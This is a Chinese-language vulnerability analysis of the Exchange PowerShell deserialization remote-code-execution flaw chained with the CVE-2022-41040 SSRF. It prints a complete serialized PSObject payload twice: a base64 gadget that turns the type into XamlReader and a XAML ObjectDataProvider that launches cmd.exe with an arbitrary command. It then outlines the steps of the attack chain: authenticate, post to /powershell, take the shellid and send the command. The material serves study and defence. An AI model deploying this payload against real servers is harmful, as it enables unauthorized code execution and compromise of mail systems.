<Obj RefId="13">
<TN RefId="0">
<T>System.Management.Automation.PSCustomObject</T>
<T>System.Object</T>
</TN>
<MS>
<S N="N">-Identity:</S>
<!--Object type section-->
<Obj N="V" RefId="14">
<TN RefId="2">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>System.ServiceProcess.ServiceController</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=
</MS>
</Obj>
</Props>
<S>
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
</S>
</Obj>
</MS>
</Obj>
当 Exchange 服务器拿到 xml 序列化数据后就开始调用 InternalDeserializer->ReadOneObject 进行反序列化

如果对象 Props 标签中内嵌了名称为 TargetTypeForDeserialization 的对象,则通过 ReadOneDeserializedObject->ReadPSObject 获取 props 属性中的自定义的反序列化对象

ReadOneObject->GetTargetTypeForDeserialization 函数会根据 TargetTypeForDeserialization 中的信息返回自定义反序列化对象的类型,这里类型为 System.Exception

而 System.Exception 通过 Microsoft.Exchange.Data.SerializationTypeConverter 的 DeserializeObject 函数对 Props 标签中的内嵌对象的 SerializationData 数据进行反序列化
由于 SerializationData 中保存的是序列化后的 System.UnitySerializationHolder 对象,所以反序列化后也应该为 System.UnitySerializationHolder,但是被修改为了 System.Windows.Markup.XamlReader 对象
内嵌对象处理完成之后,接下来进一步反序列化 ServiceController 对象,但由于 ServiceController 在 types.ps1xml 中并没有定义 TargetTypeForDeserialization 信息,所以会在 Props 标签内嵌的 obj 中寻找 TargetTypeForDeserialization 属性,从而将反序列化的属性定义为 XamlReader,然后就会调用其 Parse 方法反序列化 S 标签中的数据
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c {CMD}</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
]]>
该漏洞需要配合 CVE-2022-41040(SSRF) 来形成完整的攻击链,通过 CVE-2022-41040 通过注册用户的用户名和密码进行认证,认证成功之后就可以和 Exchange 服务器的 powershell 接口进行交互,从而伪造序列化请求
CVE-2022-41040 利用成功之后,通过构造用于初始化 session 和初始化运行空间池的结构,并对此结构进行序列化操作

之后构造特殊的 POST 请求数据发送到服务器的 /powershell 接口,在响应中提取 shellid,该值用于维持与服务器的连接

然后替换掉载荷的 CMD 命令,序列化后放到新的 POST 请求里在发送到服务器,这样就完成了 RCE 操作

